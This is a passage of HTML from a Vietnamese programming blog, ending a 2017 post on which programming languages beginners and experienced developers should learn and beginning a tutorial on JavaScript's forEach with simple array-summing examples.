id="tại-sao-java-lại-là-sự-lựa-chọn-tốt-và-hơn-nữa-nó-rất-phổ-biến" style="position:relative;"><a href="#t%E1%BA%A1i-sao-java-l%E1%BA%A1i-l%C3%A0-s%E1%BB%B1-l%E1%BB%B1a-ch%E1%BB%8Dn-t%E1%BB%91t-v%C3%A0-h%C6%A1n-n%E1%BB%AFa-n%C3%B3-r%E1%BA%A5t-ph%E1%BB%95-bi%E1%BA%BFn" aria-label="tại sao java lại là sự lựa chọn tốt và hơn nữa nó rất phổ biến permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tại sao Java lại là sự lựa chọn tốt và hơn nữa, nó rất phổ biến?</h4> <p>Trước tiên, Java có lịch sử khá lâu đời và rất nhiều hệ thống chạy bằng Java. Do đó, nếu bạn có kinh nghiệm, kiến thức nền tảng thì bạn dễ dàng kiếm được những công việc đó (bảo trì, nâng cấp hệ thống...).</p> <p>Đối với người mới, Java là một ngôn ngữ lập trình khá cơ bản, không quá dễ nhưng cũng không quá khó. Java dễ hơn C++. Nó dễ sử dụng và có rất nhiều thư viện để bạn áp dụng, qua đó việc lập trình trở nên đơn giản hơn rất nhiều.</p> <p>Theo tôi thấy, Java có tính thực dụng cao. Khi học Java, tôi dễ dàng làm đươc một ứng dụng trên desktop. Sau đó, tôi tiếp tục học Java để lập trình cho Android cũng khá nhanh và dễ dàng.</p> <p>Rõ ràng, Java là sự lựa chọn tốt cho ngôn ngữ lập trình nên học năm 2017.</p> <h4 id="c-thì-sao" style="position:relative;"><a href="#c-th%C3%AC-sao" aria-label="c thì sao permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>C# thì sao?</h4> <p>C# cũng gần giống như Java. Nó khá cơ bản, dễ học. Nếu bạn từng biết về hai ngôn ngữ này thì chắc hẳn bạn sẽ thấy chúng có nhiều nét tương đồng về cấu trúc, cú pháp.</p> <p>C# là ngôn ngữ lập trình được sáng tạo ra bởi Microsoft - một trong những ông trùm trong giới công nghệ. Gần đây, Microsoft đã mua lại Xamarin. Với việc sử dụng Xamarin, bạn có thể viết ứng dụng cho Android, iOS,... chỉ với một ngôn ngữ là C#.</p> <p>Tôi chưa có cơ hội làm việc nhiều với C#. Không nhầm thì tôi từng làm đồ án với C# - một ứng dụng trên desktop. Nhìn chung, việc viết code khá nhanh và đơn giản.</p> <p>Nếu như bạn chọn C# là ngôn ngữ lập trình đầu tiên để học thì đây cũng là một lựa chọn tốt.</p> <p><strong>C++</strong></p> <p>Nếu so sánh với Java và C# thì rõ ràng C++ khó hơn. Hay nói cách khác thì C++ "cơ bản hơn". Đúng vậy, "cơ bản hơn" nghĩa là khó hơn. Vì bạn sẽ phải viết nhiều hơn, bạn cần có nhiều kĩ năng hơn, thậm chí là phải có kiến thức về khoa học máy tính nữa.</p> <p>Đặc biệt, có rất nhiều ứng dụng, hệ thống được viết bằng C++ và hiện tại chúng chạy rất ổn định và nhanh. Vì vậy, gần đây xuất hiện một xu hướng là viết code native (C++) cho các ứng dụng Android, IOS.</p> <p>Tiếp theo, có rất nhiều thư viện về xử lý hình ảnh, âm thanh, video như OpenCV, OpenCL, OpenGL, FFMPEG, BOOST,... Chúng đều là mã nguồn mở và chạy cực kì nhanh.</p> <p>Như đã nói trong phần <a href="/gioi-thieu/">giới thiệu</a>, tôi đã từng học C++ và cực kì thích ngôn ngữ lập trình này.</p> <h4 id="cuối-cùng-là-javascript" style="position:relative;"><a href="#cu%E1%BB%91i-c%C3%B9ng-l%C3%A0-javascript" aria-label="cuối cùng là javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cuối cùng là JavaScript?</h4> <p>Nếu như bạn muốn lập trình web thì <a href="/javascript-la-gi/">JavaScript</a> là ngôn ngữ lập trình không thể bỏ qua. Tuy nhiên, bây giờ tôi sẽ không nói nhiều về JavaScript. Bạn cứ đọc tiếp rồi sẽ rõ lí do tại sao. Tiếp theo tôi sẽ nói về những ngôn ngữ lập trình nên học năm 2017 dành cho những lập trình viên đã có kinh nghiệm.</p> <h3 id="ngôn-ngữ-lập-trình-nên-học-dành-cho-những-lập-trình-viên-có-kinh-nghiệm" style="position:relative;"><a href="#ng%C3%B4n-ng%E1%BB%AF-l%E1%BA%ADp-tr%C3%ACnh-n%C3%AAn-h%E1%BB%8Dc-d%C3%A0nh-cho-nh%E1%BB%AFng-l%E1%BA%ADp-tr%C3%ACnh-vi%C3%AAn-c%C3%B3-kinh-nghi%E1%BB%87m" aria-label="ngôn ngữ lập trình nên học dành cho những lập trình viên có kinh nghiệm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ngôn ngữ lập trình nên học dành cho những lập trình viên có kinh nghiệm</h3> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 52.72727272727272%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAgAD/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQL/2gAMAwEAAhADEAAAAQoRecpP/8QAGhABAAIDAQAAAAAAAAAAAAAAAQARAhASMf/aAAgBAQABBQIajelnSuXv/8QAFREBAQAAAAAAAAAAAAAAAAAAABL/2gAIAQMBAT8BS//EABURAQEAAAAAAAAAAAAAAAAAAAAS/9oACAECAQE/AVP/xAAXEAEAAwAAAAAAAAAAAAAAAAAQABEh/9oACAEBAAY/ApTp/8QAHBAAAgICAwAAAAAAAAAAAAAAAAERkUFhITGB/9oACAEBAAE/IVSecEj6UOJNCokeD8NCo//aAAwDAQACAAMAAAAQDw//xAAXEQADAQAAAAAAAAAAAAAAAAAAASER/9oACAEDAQE/EHVhZ//EABcRAQADAAAAAAAAAAAAAAAAAAEQESH/2gAIAQIBAT8QFvIf/8QAHRABAQACAgMBAAAAAAAAAAAAAREAIUFRMWFxof/aAAgBAQABPxAClgAlFwTB6uoZy/uLwOuMQsGevXzC2Q7PXzHfA1wDP//Z'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="JavaScript everywhere" title="JavaScript everywhere" src="/static/f5d634736084ebad2d4bef673349a787/5ab81/javascript-everywhere.jpg" srcset="/static/f5d634736084ebad2d4bef673349a787/e4e7a/javascript-everywhere.jpg 165w, /static/f5d634736084ebad2d4bef673349a787/4f5c6/javascript-everywhere.jpg 330w, /static/f5d634736084ebad2d4bef673349a787/5ab81/javascript-everywhere.jpg 660w, /static/f5d634736084ebad2d4bef673349a787/a6335/javascript-everywhere.jpg 760w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h4 id="javascript" style="position:relative;"><a href="#javascript" aria-label="javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>JavaScript</h4> <p><a href="/javascript-la-gi/">JavaScript</a> đã có thời gian tưởng chừng như biến mất. Nhưng giờ đây, khi có rất nhiều framework khác nhau được viết dựa trên JavaScript như: NodeJs, AngularJs, ReactJs, React-Native... bạn có thể sử dụng ở front-end, server, desktop, mobile,...</p> <p>Dĩ nhiên, khi mới làm quen với JavaScript thì bạn sẽ thấy ngôn ngữ lập trình này khá lộn xộn, cú pháp không được chuẩn hoá,... Nhưng khi đã quen rồi thì mọi thứ trở nên rất đơn giản và thậm chí là tiện dụng. Đặc biệt, ECMAScript là một chuẩn hoá của JavaScript - giúp bạn dễ học JavaScript hơn.</p> <p>Có thể bạn sẽ lựa chọn học một framework nào đó như NodeJs - vì bạn chỉ muốn làm việc với server thôi. Hay bạn sẽ học React-Native - vì bạn chỉ muốn viết ứng dụng cho điện thoại... Bạn hoàn toàn có thể. Tuy nhiên, theo tôi, bạn nên dành thời gian học JavaScript thuần trước. Khi bạn đã nắm vững được những <a href="/kieu-du-lieu-trong-javascript/">kiến thức cơ bản</a> rồi thì việc học các framework là chuyện "dễ như ăn kẹo".</p> <p>Bạn có thể tham khảo JavaScript cơ bản tại <a href="/javascript/">đây</a>.</p> <h4 id="python" style="position:relative;"><a href="#python" aria-label="python permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Python</h4> <p>Nếu bạn làm việc trong một số ngành khoa học hay xử lý hình ảnh, âm thanh thì Python là một ngôn ngữ lập trình phù hợp. Python có nhiều thư viện phục vụ cho những việc này.</p> <p>Đặc biệt hơn nữa, nếu bạn có hứng thú tìm hiểu và học về Machine Learning thì chắc chắn không thể bỏ qua Python.</p> <p>Python có cú pháp khá đơn giản, sử dụng "thụt đầu dòng" để phân tách code. Qua đó, code Python thường được chuẩn hoá, nên rất dễ đọc.</p> <p>Hãy thử học Python và chắc chắn bạn sẽ thấy thích ngôn ngữ lập trình này.</p> <h4 id="elixir" style="position:relative;"><a href="#elixir" aria-label="elixir permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Elixir</h4> <p>Tôi thì không biết gì về ngôn ngữ lập trình này. Nhưng theo John Sonmez thì đây là một ngôn ngữ lập trình mới, khá thú vị và là một phiên bản dễ đọc, "giàu tính biểu cảm" của Ruby. Đã có rất nhiều người học Elixir.</p> <p>Tuy nhiên, sẽ là hơi mạo hiểm khi học Elixir vì ngôn ngữ này có thể đi xuống và đặc biệt, không có nhiều cộng đồng phát triển Elixir.</p> <p>Nhưng nếu bạn đã là một lập trình viên có kinh nghiệm thì những sự mạo hiểm này chắc cũng không đáng là bao.</p> <h4 id="rust" style="position:relative;"><a href="#rust" aria-label="rust permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Rust</h4> <p>Đây lại là một ngôn ngữ lập trình mà tôi không biết, nên không dám chém bừa.</p> <blockquote> <p>Rust is really good. It's this low level systems language. It's more elegant, more refined than C and C++ and is a good replacement for those languages and it just keeps on picking up steam. I think this is going to be a really popular language. I think it's going to replace some of these legacy programming languages and some systems.</p> </blockquote> <p>Tức là, Rust là một ngôn ngữ lập trình mức thấp, có thể thay thế cho C/C++. Và chắc chắn Rust sẽ trở nên rất phổ biến (cái này phải cần thời gian để kiểm chứng - vì hiện tại có rất nhiều hệ thống đang chạy bằng C/C++).</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 600px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 61.81818181818181%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAMABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABAACA//EABYBAQEBAAAAAAAAAAAAAAAAAAQBAv/aAAwDAQACEAMQAAABAnltJiSbU//EABkQAQEBAAMAAAAAAAAAAAAAAAIBAAMRMf/aAAgBAQABBQLjCWsqK7lGHl3/xAAXEQEBAQEAAAAAAAAAAAAAAAABAAIS/9oACAEDAQE/AXZdl//EABYRAQEBAAAAAAAAAAAAAAAAAAASAf/aAAgBAgEBPwGU6//EABkQAAMAAwAAAAAAAAAAAAAAAAAQESExQf/aAAgBAQAGPwKmOG1V/8QAGxAAAgIDAQAAAAAAAAAAAAAAAREAMRAhcVH/2gAIAQEAAT8hEIdePcCygZXAQOAuhddlp//aAAwDAQACAAMAAAAQo8//xAAXEQEBAQEAAAAAAAAAAAAAAAABABFh/9oACAEDAQE/EBjpcL//xAAYEQACAwAAAAAAAAAAAAAAAAAAETFhcf/aAAgBAgEBPxBnOFx//8QAGxABAAMBAQEBAAAAAAAAAAAAAQARITFhUXH/2gAIAQEAAT8QKWA70fhEpVGLc6XnY7Hfjc+BQs4x3gaHF0ibs6+z/9k='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Taylor Swift" title="Taylor Swift" src="/static/20ab781b9e4d435ae4599029fe233222/e224a/taylor-swift.jpg" srcset="/static/20ab781b9e4d435ae4599029fe233222/e4e7a/taylor-swift.jpg 165w, /static/20ab781b9e4d435ae4599029fe233222/4f5c6/taylor-swift.jpg 330w, /static/20ab781b9e4d435ae4599029fe233222/e224a/taylor-swift.jpg 600w" sizes="(max-width: 600px) 100vw, 600px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h4 id="swift" style="position:relative;"><a href="#swift" aria-label="swift permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Swift</h4> <p>Nếu bạn là fan hâm mộ của Taylor Swift thì nên thử học ngôn ngữ lập trình này.</p> <p>Đùa chút thôi, nếu bạn muốn lập trình cho iOS thì nên học ngôn ngữ lập trình này. Vì Objective-C có vẻ như đã "chết". Nên việc học ngôn ngữ lập trình Swift sẽ rất có ý nghĩa nếu bạn muốn chuyên tâm phát triển ứng dụng cho iOS.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Nếu bạn là một người mới bước chân vào thế giới của lập trình viên thì bạn có thể lựa chọn học:</p> <ul> <li>Java</li> <li>C#</li> <li>C++</li> <li>JavaScript</li> </ul> <p>Ngược lại, bạn là một lập trình viên có kinh nghiệm và mong muốn thử thách bản thân với một ngôn ngữ lập trình mới thì có thể thử học:</p> <ul> <li>JavaScript</li> <li>Python</li> <li>Elixir</li> <li>Rust</li> <li>Swift</li> </ul> <p>Có nhiều ý kiến khác nhau về việc lựa chọn ngôn ngữ lập trình nên học năm 2017. Riêng tôi thì tôi rất đồng ý với anh John Sonmez. Còn bạn thì nghĩ sao về vấn đề này? Tôi rất mong để biết được suy nghĩ của bạn (mặc dù bây giờ đã là giữa năm 2017 rồi, hehe).</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[JavaScript forEach là cái quái gì?]]><![CDATA[Trong JavaScript, để duyệt array thì forEach là một hàm rất hay. Vậy hàm forEach trong JavaScript cụ thể là như thế nào? Cách sử dụng forEach JavaScript ra sao? Mình hãy cùng tìm…]]>https://completejavascript.com/javascript-foreach-la-cai-quai-gi/https://completejavascript.com/javascript-foreach-la-cai-quai-gi/<![CDATA[Array]]><![CDATA[Kiểu dữ liệu]]>Fri, 02 Jun 2017 09:49:44 GMT<p>Trong JavaScript, để duyệt <a href="/array-la-gi-array-trong-javascript/">array</a> thì <strong>forEach</strong> là một hàm rất hay. Vậy hàm forEach trong JavaScript cụ thể là như thế nào? Cách sử dụng forEach JavaScript ra sao? Mình hãy cùng tìm hiểu để làm chủ forEach js nhé!</p> <h2 id="đặt-bài-toán" style="position:relative;"><a href="#%C4%91%E1%BA%B7t-b%C3%A0i-to%C3%A1n" aria-label="đặt bài toán permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đặt bài toán</h2> <p>Cho một mảng <code>numbers= [1, 2, 3, 4, 5, 6,7, 8, 9, 10]</code>. Hãy tính tổng các số trong mảng và hiển thị ra <strong>console</strong>.</p> <p>Khi mới học JavaScript, mình giải bài toán này như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> numbers <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token number">9</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> sum <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// duyệt từng phần tử của mảng để cộng dồn vào biến sum</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> numbers<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> sum <span class="token operator">+=</span> numbers<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>sum<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 55</span></code></pre></div> <p>Cách giải trên khá dễ hiểu. Mình duyệt tất cả các phần tử mảng bằng <a href="/vong-lap-trong-javascript/">vòng lặp for với chỉ số</a>. Tại mỗi lượt lặp, mình lấy phần tử đang duyệt cộng dồn với biến <code>sum</code>.</p> <p>Có một vấn đề với cách này, đó là việc sử dụng chỉ số <code>i</code> có thể khiến bạn bị nhầm với một biến trước đó. Dẫn đến những lỗi sai không đoán trước được.</p> <p>Lúc này, <strong>forEach</strong> JavaScript xuất hiện giúp bạn giải quyết vấn đề trên.</p> <h3 id="cách-triển-khai-hàm-foreach-javascript" style="position:relative;"><a href="#c%C3%A1ch-tri%E1%BB%83n-khai-h%C3%A0m-foreach-javascript" aria-label="cách triển khai hàm foreach javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cách triển khai hàm forEach JavaScript</h3> <p>Một cách đơn giản để triển khai hàm forEach như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">forEach</span><span class="token punctuation">(</span><span class="token parameter">array<span class="token punctuation">,</span> action</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> array<span class="token punctuation">.</span>length<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">action</span><span class="token punctuation">(</span>array<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Hàm <code>forEach</code> trên nhận đầu vào là một mảng <code>array</code> và một hàm <code>action</code> - thực hiện hành động với mỗi phần tử của mảng <code>array[i]</code>.</p> <h3 id="áp-dụng-hàm-foreach-để-giải-quyết-bài-toán-trên" style="position:relative;"><a href="#%C3%A1p-d%E1%BB%A5ng-h%C3%A0m-foreach-%C4%91%E1%BB%83-gi%E1%BA%A3i-quy%E1%BA%BFt-b%C3%A0i-to%C3%A1n-tr%C3%AAn" aria-label="áp dụng hàm foreach để giải quyết bài toán trên permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Áp dụng hàm forEach để giải quyết bài toán trên</h3> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> numbers <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token number">3</span><span class="token punctuation">,</span> <span class="token number">4</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">,</span> <span class="token number">9</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">let</span> sum <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"><span class="token function">forEach</span><span class="token punctuation">(</span>numbers<span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token parameter">element</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> sum <span class="token operator">+=</span> element<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>sum<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 55</span></code></pre></div> <p>Mình có thể diễn giải thuật toán trên 